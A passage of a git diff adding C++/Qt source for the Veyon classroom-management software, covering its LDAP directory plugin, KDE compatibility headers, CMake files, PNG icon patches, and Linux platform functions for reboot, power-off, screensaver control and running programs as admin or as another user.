m_configuration.bindPasswordPlain() ); + } + } +} + + + +QStringList LdapPlugin::commands() const +{ + return m_commands.keys(); +} + + + +QString LdapPlugin::commandHelp( const QString& command ) const +{ + return m_commands.value( command ); +} + + + +NetworkObjectDirectory *LdapPlugin::createNetworkObjectDirectory( QObject* parent ) +{ + return new LdapNetworkObjectDirectory( m_configuration, parent ); +} + + + +void LdapPlugin::reloadConfiguration() +{ + delete m_ldapDirectory; + m_ldapDirectory = new LdapDirectory( m_configuration ); +} + + + +QStringList LdapPlugin::userGroups( bool queryDomainGroups ) +{ + Q_UNUSED(queryDomainGroups); + + return ldapDirectory().toRelativeDnList( ldapDirectory().userGroups() ); +} + + + +QStringList LdapPlugin::groupsOfUser( const QString& username, bool queryDomainGroups ) +{ + Q_UNUSED(queryDomainGroups); + + const auto strippedUsername = VeyonCore::stripDomain( username ); + + const QString userDn = ldapDirectory().users( strippedUsername ).value( 0 ); + + if( userDn.isEmpty() ) + { + qWarning() << "LdapPlugin::groupsOfUser(): empty user DN for user" << strippedUsername; + return QStringList(); + } + + return ldapDirectory().toRelativeDnList( ldapDirectory().groupsOfUser( userDn ) ); +} + + + +ConfigurationPage *LdapPlugin::createConfigurationPage() +{ + return new LdapConfigurationPage( m_configuration ); +} + + + +CommandLinePluginInterface::RunResult LdapPlugin::handle_autoconfigurebasedn( const QStringList& arguments ) +{ + QUrl ldapUrl; + ldapUrl.setUrl( arguments.value( 0 ), QUrl::StrictMode ); + + if( ldapUrl.isValid() == false || ldapUrl.host().isEmpty() ) + { + qCritical() << "Please specify a valid LDAP url following the schema \"ldap[s]://[user[:password]@]hostname[:port]\""; + return InvalidArguments; + } + + QString namingContextAttribute = arguments.value( 1 ); + + if( namingContextAttribute.isEmpty() ) + { + qWarning( "No naming context attribute name given - falling back to configured value." ); + } + else + { + m_configuration.setNamingContextAttribute( namingContextAttribute ); + } + + LdapDirectory ldapDirectory( m_configuration, ldapUrl ); + QString baseDn = ldapDirectory.queryNamingContext(); + + if( baseDn.isEmpty() ) + { + qCritical( "Could not query base DN. Please check your LDAP configuration." ); + return Failed; + } + + qInfo() << "Configuring" << baseDn << "as base DN and disabling naming context queries."; + + m_configuration.setBaseDn( baseDn ); + m_configuration.setQueryNamingContext( false ); + + // write configuration + ConfigurationManager configurationManager; + if( configurationManager.saveConfiguration() == false ) + { + CommandLineIO::error( configurationManager.errorString() ); + return Failed; + } + + return Successful; +} + + + +CommandLinePluginInterface::RunResult LdapPlugin::handle_query( const QStringList& arguments ) +{ + QString objectType = arguments.value( 0 ); + QString filter = arguments.value( 1 ); + QStringList results; + + if( objectType == QStringLiteral("rooms") ) + { + results = ldapDirectory().computerRooms( filter ); + } + else if( objectType == QStringLiteral("computers") ) + { + results = ldapDirectory().computers( filter ); + } + else if( objectType == QStringLiteral("groups") ) + { + results = ldapDirectory().groups( filter ); + } + else if( objectType == QStringLiteral("users") ) + { + results = ldapDirectory().users( filter ); + } + else + { + return InvalidArguments; + } + + for( const auto& result : qAsConst( results ) ) + { + printf( "%s\n", qUtf8Printable( result ) ); + } + + return Successful; +} + + + + +CommandLinePluginInterface::RunResult LdapPlugin::handle_help( const QStringList& arguments ) +{ + QString command = arguments.value( 0 ); + + if( command == QStringLiteral("autoconfigurebasedn") ) + { + printf( "\n" + "ldap autoconfigurebasedn []\n" + "\n" + "Automatically configures the LDAP base DN configuration setting by querying\n" + "the naming context attribute from given LDAP server. The LDAP url parameter\n" + "needs to follow the schema:\n" + "\n" + " ldap[s]://[user[:password]@]hostname[:port]\n\n" ); + return NoResult; + } + else if( command == QStringLiteral("query") ) + { + printf( "\n" + "ldap query [filter]\n" + "\n" + "Query objects from configured LDAP directory where may be one\n" + "of \"rooms\", \"computers\", \"groups\" or \"users\". You can optionally\n" + "specify a filter such as \"foo*\".\n" + "\n" ); + return NoResult; + } + + return InvalidCommand; +} + + + +LdapDirectory& LdapPlugin::ldapDirectory() +{ + if( m_ldapDirectory == nullptr ) + { + m_ldapDirectory = new LdapDirectory( m_configuration ); + } + + // TODO: check whether still connected and reconnect if neccessary + + return *m_ldapDirectory; +} diff --git a/plugins/ldap/LdapPlugin.h b/plugins/ldap/LdapPlugin.h new file mode 100644 index 0000000..a947088 --- /dev/null +++ b/plugins/ldap/LdapPlugin.h @@ -0,0 +1,136 @@ +/* + * LdapPlugin.h - declaration of LdapPlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LDAP_PLUGIN_H +#define LDAP_PLUGIN_H + +#include "CommandLinePluginInterface.h" +#include "ConfigurationPagePluginInterface.h" +#include "LdapConfiguration.h" +#include "NetworkObjectDirectoryPluginInterface.h" +#include "UserGroupsBackendInterface.h" + +class LdapDirectory; + +class LdapPlugin : public QObject, PluginInterface, + CommandLinePluginInterface, + NetworkObjectDirectoryPluginInterface, + UserGroupsBackendInterface, + ConfigurationPagePluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.Ldap") + Q_INTERFACES(PluginInterface + CommandLinePluginInterface + NetworkObjectDirectoryPluginInterface + UserGroupsBackendInterface + ConfigurationPagePluginInterface) +public: + LdapPlugin( QObject* parent = nullptr ); + ~LdapPlugin() override; + + Plugin::Uid uid() const override + { + return QStringLiteral("6f0a491e-c1c6-4338-8244-f823b0bf8670"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "LDAP" ); + } + + QString description() const override + { + return tr( "Provide LDAP/AD integration for Veyon" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + void upgrade( const QVersionNumber& oldVersion ) override; + + QString commandLineModuleName() const override + { + return QStringLiteral( "ldap" ); + } + + QString commandLineModuleHelp() const override + { + return tr( "Commands for configuring and testing LDAP/AD integration" ); + } + + QStringList commands() const override; + QString commandHelp( const QString& command ) const override; + + QString directoryName() const override + { + return tr( "LDAP (load computers and rooms from LDAP/AD)" ); + } + + NetworkObjectDirectory* createNetworkObjectDirectory( QObject* parent ) override; + + QString userGroupsBackendName() const override + { + return tr( "LDAP (load users and groups from LDAP/AD)" ); + } + + void reloadConfiguration() override; + + QStringList userGroups( bool queryDomainGroups ) override; + QStringList groupsOfUser( const QString& username, bool queryDomainGroups ) override; + + ConfigurationPage* createConfigurationPage() override; + + +public slots: + CommandLinePluginInterface::RunResult handle_autoconfigurebasedn( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_query( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_help( const QStringList& arguments ); + +private: + enum { + MaximumPlaintextPasswordLength = 64 + }; + + LdapDirectory& ldapDirectory(); + + LdapConfiguration m_configuration; + LdapDirectory* m_ldapDirectory; + QMap m_commands; + +}; + +#endif // LDAP_PLUGIN_H diff --git a/plugins/ldap/application-x-kexi-connectiondata.png b/plugins/ldap/application-x-kexi-connectiondata.png new file mode 100644 index 0000000000000000000000000000000000000000..de182435638490eed3ca58504f89d615bf3a4a53 GIT binary patch literal 2255 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 literal 0 HcmV?d00001 diff --git a/plugins/ldap/distribute-vertical-margin.png b/plugins/ldap/distribute-vertical-margin.png new file mode 100644 index 0000000000000000000000000000000000000000..5cd895a9558a02d5375b92b381cc0629abe70064 GIT binary patch literal 206 zcmeAS@N?(olHy`uVBq!ia0vp^4j|0P3?wHke>@jRF&8^|hH!9j+(yEr+qAXP8FD1G)j8!4b7wg8_H zS0L@{>pNloYD*xCu_VYZn8D%MjWi%f*VDx@L}Oxdf&$Zr|Lo2D6_Nr=StJy;wn)fJ r9AG)hlk`UE*xAEZ;$4nt3NkRP5Z~^(+@UufsFA_b)z4*}Q$iB}|CTyd literal 0 HcmV?d00001 diff --git a/plugins/ldap/kldap_export.h b/plugins/ldap/kldap_export.h new file mode 100644 index 0000000..8a9b5af --- /dev/null +++ b/plugins/ldap/kldap_export.h @@ -0,0 +1,31 @@ +/* + * kldap_export.h - definition of symbol visibility macros for kldap + * + * Copyright (c) 2016 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef KLDAP_EXPORT_H +#define KLDAP_EXPORT_H + +#define KLDAP_EXPORT +#define KLDAP_NO_EXPORT __attribute__((visibility("hidden"))) + +#endif diff --git a/plugins/ldap/klocalizedstring.h b/plugins/ldap/klocalizedstring.h new file mode 100644 index 0000000..96fcdc5 --- /dev/null +++ b/plugins/ldap/klocalizedstring.h @@ -0,0 +1,52 @@ +/* + * klocalizedstring.h - dummy replacements for i18n() functions of KDE + * + * Copyright (c) 2016 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef KLOCALIZEDSTRING_H +#define KLOCALIZEDSTRING_H + +#include + +static inline QString i18n(const char* str) +{ + return QObject::tr(str); +} + +template +static inline QString i18n(const char* str, T arg) +{ + return QObject::tr(str).arg(arg); +} + +template +static inline QString i18np(const char* singular, const char* plural, T arg) +{ + if( arg > 1 ) + { + return QObject::tr(plural).arg(arg); + } + return QObject::tr(singular).arg(arg); +} + +#endif + diff --git a/plugins/ldap/ldap.qrc b/plugins/ldap/ldap.qrc new file mode 100644 index 0000000..b64df6e --- /dev/null +++ b/plugins/ldap/ldap.qrc @@ -0,0 +1,10 @@ + + + user-group-properties.png + computer.png + configure.png + distribute-vertical-margin.png + dialog-ok-apply.png + application-x-kexi-connectiondata.png + + diff --git a/plugins/ldap/ldap_debug.h b/plugins/ldap/ldap_debug.h new file mode 100644 index 0000000..30ffd0e --- /dev/null +++ b/plugins/ldap/ldap_debug.h @@ -0,0 +1,34 @@ +/* + * ldap_debug.h - declaration of logging category for kldap + * + * Copyright (c) 2016 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LDAP_DEBUG_H +#define LDAP_DEBUG_H + +#include +#include + +Q_DECLARE_LOGGING_CATEGORY(LDAP_LOG); + +#endif + diff --git a/plugins/ldap/user-group-properties.png b/plugins/ldap/user-group-properties.png new file mode 100644 index 0000000000000000000000000000000000000000..810cf8f698d0256b6009165de1efc0817230321c GIT binary patch literal 888 zcmeAS@N?(olHy`uVBq!ia0vp^4j|0I3?%1nZ+ru!n2Vh}LpV4%Za?&Y0OWEOctjR6 zFqp@JFr#FH8<4>uS>hT|5}cn_Ql40p%1~Zju9umYU7Va)kgAtols@~NjT8d|qildr zh$~Pr5HvJ2gocJXI5?!Gr2!dkZf<^leqLT)K|w)4hL4YrudlDSw>OXh6a z1407DfdI$`0w4n-j?92aLBt_!I0;vVrUtGUZZbpxTs@jNTs@jOaEtJZqbY-M&m`sF z0ftUoNswPK10xeN3o9G9xP+vXw4#!#n!2WiwT+#ZuYW*bP;f|SSa@tgW>$GsbzMhi zS9j06g^Lz1S-Ncbnzb7??LKtm=&=(gPo2MX_4qGVuR&x&7pgi`PTN`K&UKkeId78VTS?~p z_db2SzIywTA7uJId^hRW#eiqe{DZW)%APX(uvk}rZfj%nX|9l;3^kT(71Q@Iz1QX{ zX13U~O7J>g<7=+XtTsXCk{>K>>QSHIqwze5>11T<4&I!TAGvlc6_6IGS|O0H@g+*J kO!G=`hb`CFP_4hm<-Z6h${zBz`V30zopr0DJIS?f?J) literal 0 HcmV?d00001 diff --git a/plugins/platform/CMakeLists.txt b/plugins/platform/CMakeLists.txt new file mode 100644 index 0000000..3500ea4 --- /dev/null +++ b/plugins/platform/CMakeLists.txt @@ -0,0 +1,7 @@ +IF(VEYON_BUILD_WIN32) +ADD_SUBDIRECTORY(windows) +ENDIF() + +IF(VEYON_BUILD_LINUX) +ADD_SUBDIRECTORY(linux) +ENDIF() diff --git a/plugins/platform/linux/CMakeLists.txt b/plugins/platform/linux/CMakeLists.txt new file mode 100644 index 0000000..b938986 --- /dev/null +++ b/plugins/platform/linux/CMakeLists.txt @@ -0,0 +1,39 @@ +ADD_SUBDIRECTORY(auth-helper) + +FIND_PACKAGE(X11 REQUIRED) +FIND_PACKAGE(Qt5DBus REQUIRED) +FIND_PACKAGE(PkgConfig QUIET) +pkg_check_modules(procps REQUIRED libprocps) + +INCLUDE(BuildPlugin) + +INCLUDE_DIRECTORIES(${procps_INCLUDE_DIRS}) + +BUILD_PLUGIN(linux-platform + LinuxPlatformPlugin.cpp + LinuxCoreFunctions.cpp + LinuxFilesystemFunctions.cpp + LinuxInputDeviceFunctions.cpp + LinuxNetworkFunctions.cpp + LinuxServiceCore.cpp + LinuxServiceFunctions.cpp + LinuxUserFunctions.cpp + MOCFILES + LinuxPlatformPlugin.h + LinuxCoreFunctions.h + LinuxDesktopIntegration.h + LinuxFilesystemFunctions.h + LinuxInputDeviceFunctions.h + LinuxKeyboardShortcutTrapper.h + LinuxNetworkFunctions.h + LinuxServiceCore.h + LinuxServiceFunctions.h + LinuxUserFunctions.h + COTIRE +) + +TARGET_LINK_LIBRARIES(linux-platform + ${X11_LIBRARIES} + Qt5::DBus + ${procps_LDFLAGS} + ) diff --git a/plugins/platform/linux/LinuxCoreFunctions.cpp b/plugins/platform/linux/LinuxCoreFunctions.cpp new file mode 100644 index 0000000..36864d1 --- /dev/null +++ b/plugins/platform/linux/LinuxCoreFunctions.cpp @@ -0,0 +1,329 @@ +/* + * LinuxCoreFunctions.cpp - implementation of LinuxCoreFunctions class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include +#include + +#include + +#include "LinuxCoreFunctions.h" +#include "LinuxDesktopIntegration.h" +#include "LinuxUserFunctions.h" +#include "PlatformUserFunctions.h" + +#include +#include + + +LinuxCoreFunctions::LinuxCoreFunctions() : + m_screenSaverTimeout( 0 ), + m_screenSaverPreferBlanking( 0 ), + m_dpmsEnabled( false ), + m_dpmsStandbyTimeout( 0 ), + m_dpmsSuspendTimeout( 0 ), + m_dpmsOffTimeout( 0 ) +{ +} + + + +void LinuxCoreFunctions::initNativeLoggingSystem( const QString& appName ) +{ + Q_UNUSED(appName) +} + + + +void LinuxCoreFunctions::writeToNativeLoggingSystem( const QString& message, Logger::LogLevel loglevel ) +{ + Q_UNUSED(message) + Q_UNUSED(loglevel) +} + + + +void LinuxCoreFunctions::reboot() +{ + if( isRunningAsAdmin() ) + { + QProcess::startDetached( QStringLiteral("reboot") ); + } + else + { + kdeSessionManager()->asyncCall( QStringLiteral("logout"), + static_cast( LinuxDesktopIntegration::KDE::ShutdownConfirmNo ), + static_cast( LinuxDesktopIntegration::KDE::ShutdownTypeReboot ), + static_cast( LinuxDesktopIntegration::KDE::ShutdownModeForceNow ) ); + gnomeSessionManager()->asyncCall( QStringLiteral("RequestReboot") ); + mateSessionManager()->asyncCall( QStringLiteral("RequestReboot") ); + xfcePowerManager()->asyncCall( QStringLiteral("Reboot") ); + systemdLoginManager()->asyncCall( QStringLiteral("Reboot") ); + consoleKitManager()->asyncCall( QStringLiteral("Restart") ); + } +} + + + +void LinuxCoreFunctions::powerDown() +{ + if( isRunningAsAdmin() ) + { + QProcess::startDetached( QStringLiteral("poweroff") ); + } + else + { + kdeSessionManager()->asyncCall( QStringLiteral("logout"), + static_cast( LinuxDesktopIntegration::KDE::ShutdownConfirmNo ), + static_cast( LinuxDesktopIntegration::KDE::ShutdownTypeHalt ), + static_cast( LinuxDesktopIntegration::KDE::ShutdownModeForceNow ) ); + gnomeSessionManager()->asyncCall( QStringLiteral("RequestShutdown") ); + mateSessionManager()->asyncCall( QStringLiteral("RequestShutdown") ); + xfcePowerManager()->asyncCall( QStringLiteral("Shutdown") ); + systemdLoginManager()->asyncCall( QStringLiteral("PowerOff") ); + consoleKitManager()->asyncCall( QStringLiteral("Stop") ); + } +} + + + +void LinuxCoreFunctions::raiseWindow( QWidget* widget ) +{ + widget->activateWindow(); + widget->raise(); +} + + +void LinuxCoreFunctions::disableScreenSaver() +{ + auto display = XOpenDisplay( nullptr ); + + // query and disable screen saver + int interval, allowExposures; + XGetScreenSaver( display, &m_screenSaverTimeout, &interval, &m_screenSaverPreferBlanking, &allowExposures ); + XSetScreenSaver( display, 0, interval, 0, allowExposures ); + + // query and disable DPMS + int dummy; + if( DPMSQueryExtension( display, &dummy, &dummy ) ) + { + CARD16 powerLevel; + BOOL state; + if( DPMSInfo( display, &powerLevel, &state ) && state ) + { + m_dpmsEnabled = true; + DPMSDisable( display ); + } + else + { + m_dpmsEnabled = false; + } + + DPMSGetTimeouts( display, &m_dpmsStandbyTimeout, &m_dpmsSuspendTimeout, &m_dpmsOffTimeout ); + DPMSSetTimeouts( display, 0, 0, 0 ); + } + else + { + qWarning() << Q_FUNC_INFO << "DPMS extension not supported!"; + } + + XFlush( display ); + XCloseDisplay( display ); +} + + + +void LinuxCoreFunctions::restoreScreenSaverSettings() +{ + auto display = XOpenDisplay( nullptr ); + + // restore screensaver settings + int timeout, interval, preferBlanking, allowExposures; + XGetScreenSaver( display, &timeout, &interval, &preferBlanking, &allowExposures ); + XSetScreenSaver( display, m_screenSaverTimeout, interval, m_screenSaverPreferBlanking, allowExposures ); + + // restore DPMS settings + int dummy; + if( DPMSQueryExtension( display, &dummy, &dummy ) ) + { + if( m_dpmsEnabled ) + { + DPMSEnable( display ); + } + + DPMSSetTimeouts( display, m_dpmsStandbyTimeout, m_dpmsSuspendTimeout, m_dpmsOffTimeout ); + } + + XFlush( display ); + XCloseDisplay( display ); +} + + + +QString LinuxCoreFunctions::activeDesktopName() +{ + return QString(); +} + + + +bool LinuxCoreFunctions::isRunningAsAdmin() const +{ + return getuid() == 0 || geteuid() == 0; +} + + + +bool LinuxCoreFunctions::runProgramAsAdmin( const QString& program, const QStringList& parameters ) +{ + const auto commandLine = QStringList( program ) + parameters; + + const auto desktop = QProcessEnvironment::systemEnvironment().value( QStringLiteral("XDG_CURRENT_DESKTOP") ); + if( desktop == QStringLiteral("KDE") && + QStandardPaths::findExecutable( QStringLiteral("kdesudo") ).isEmpty() == false ) + { + return QProcess::execute( QStringLiteral("kdesudo"), commandLine ) == 0; + } + + if( QStandardPaths::findExecutable( QStringLiteral("gksudo") ).isEmpty() == false ) + { + return QProcess::execute( QStringLiteral("gksudo"), commandLine ) == 0; + } + + return QProcess::execute( QStringLiteral("pkexec"), commandLine ) == 0; +} + + + +bool LinuxCoreFunctions::runProgramAsUser( const QString& program, const QStringList& parameters, + const QString& username, const QString& desktop ) +{ + Q_UNUSED(desktop); + + class UserProcess : public QProcess { + public: + UserProcess( uid_t uid ) : + m_uid( uid ) + { + } + + void setupChildProcess() override + { + if( setuid( m_uid ) != 0 ) + { + qFatal( "Could not set UID for child process!" ); + } + } + + private: + const uid_t m_uid; + }; + + const auto uid = LinuxUserFunctions::userIdFromName( username ); + if( uid <= 0 ) + { + return false; + } + + auto process = new UserProcess( uid ); + process->connect( process, QOverload::of( &QProcess::finished ), &QProcess::deleteLater ); + process->start( program, parameters ); + + return true; +} + + + +QString LinuxCoreFunctions::genericUrlHandler() const +{ + return QStringLiteral( "xdg-open" ); +} + + + +/*! Returns DBus interface for session manager of KDE desktop */ +LinuxCoreFunctions::DBusInterfacePointer LinuxCoreFunctions::kdeSessionManager() +{ + return DBusInterfacePointer::create( QStringLiteral("org.kde.ksmserver"), + QStringLiteral("/KSMServer"), + QStringLiteral("org.kde.KSMServerInterface"), + QDBusConnection::sessionBus() ); +} + + + +/*! Returns DBus interface for session manager of Gnome desktop */ +LinuxCoreFunctions::DBusInterfacePointer LinuxCoreFunctions::gnomeSessionManager() +{ + return DBusInterfacePointer::create( QStringLiteral("org.gnome.SessionManager"), + QStringLiteral("/org/gnome/SessionManager"), + QStringLiteral("org.gnome.SessionManager"), + QDBusConnection::sessionBus() ); +} + + + +/*! Returns DBus interface for session manager of Mate desktop */ +LinuxCoreFunctions::DBusInterfacePointer LinuxCoreFunctions::mateSessionManager() +{ + return DBusInterfacePointer::create( QStringLiteral("org.mate.SessionManager"), + QStringLiteral("/org/mate/SessionManager"), + QStringLiteral("org.mate.SessionManager"), + QDBusConnection::sessionBus() ); +} + + + +/*! Returns DBus interface for Xfce/LXDE power manager */ +LinuxCoreFunctions::DBusInterfacePointer LinuxCoreFunctions::xfcePowerManager() +{ + return DBusInterfacePointer::create( QStringLiteral("org.freedesktop.PowerManagement"), + QStringLiteral("/org/freedesktop/PowerManagement"), + QStringLiteral("org.freedesktop.PowerManagement"), + QDBusConnection::sessionBus() ); +} + + + +/*! Returns DBus interface for systemd login manager */ +LinuxCoreFunctions::DBusInterfacePointer LinuxCoreFunctions::systemdLoginManager() +{ + return DBusInterfacePointer::create( QStringLiteral("org.freedesktop.login1"), + QStringLiteral("/org/freedesktop/login1"), + QStringLiteral("org.freedesktop.login1.Manager"), + QDBusConnection::systemBus() ); +} + + + +/*! Returns DBus interface for ConsoleKit manager */ +LinuxCoreFunctions::DBusInterfacePointer LinuxCoreFunctions::consoleKitManager() +{ + return DBusInterfacePointer::create( QStringLiteral("org.freedesktop.ConsoleKit"), + QStringLiteral("/org/freedesktop/ConsoleKit/Manager"), + QStringLiteral("org.freedesktop.ConsoleKit.Manager"), + QDBusConnection::systemBus() ); +} diff --git a/plugins/platform/linux/LinuxCoreFunctions.h b/plugins/platform/linux/LinuxCoreFunctions.h new file mode 100644 index 0000000..a8da067 --- /dev/null +++ b/plugins/platform/linux/LinuxCoreFunctions.h @@ -0,0 +1,80 @@ +/* + * LinuxCoreFunctions.h - declaration of LinuxCoreFunctions class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LINUX_CORE_FUNCTIONS_H +#define LINUX_CORE_FUNCTIONS_H + +#include + +#include "PlatformCoreFunctions.h" + +// clazy:excludeall=copyable-polymorphic + +class LinuxCoreFunctions : public PlatformCoreFunctions +{ +public: + LinuxCoreFunctions(); + + void initNativeLoggingSystem( const QString& appName ) override; + void writeToNativeLoggingSystem( const QString& message, Logger::LogLevel loglevel ) override; + + void reboot() override; + void powerDown() override; + + void raiseWindow( QWidget* widget ) override; + + void disableScreenSaver() override; + void restoreScreenSaverSettings() override; + + QString activeDesktopName() override; + + bool isRunningAsAdmin() const override; + bool runProgramAsAdmin( const QString& program, const QStringList& parameters ) override; + + bool runProgramAsUser( const QString& program, const QStringList& parameters, + const QString& username, + const QString& desktop = QString() ) override; + + QString genericUrlHandler() const override; + + typedef QSharedPointer DBusInterfacePointer; + + static DBusInterfacePointer kdeSessionManager(); + static DBusInterfacePointer gnomeSessionManager(); + static DBusInterfacePointer mateSessionManager(); + static DBusInterfacePointer xfcePowerManager(); + static DBusInterfacePointer systemdLoginManager(); + static DBusInterfacePointer consoleKitManager(); + 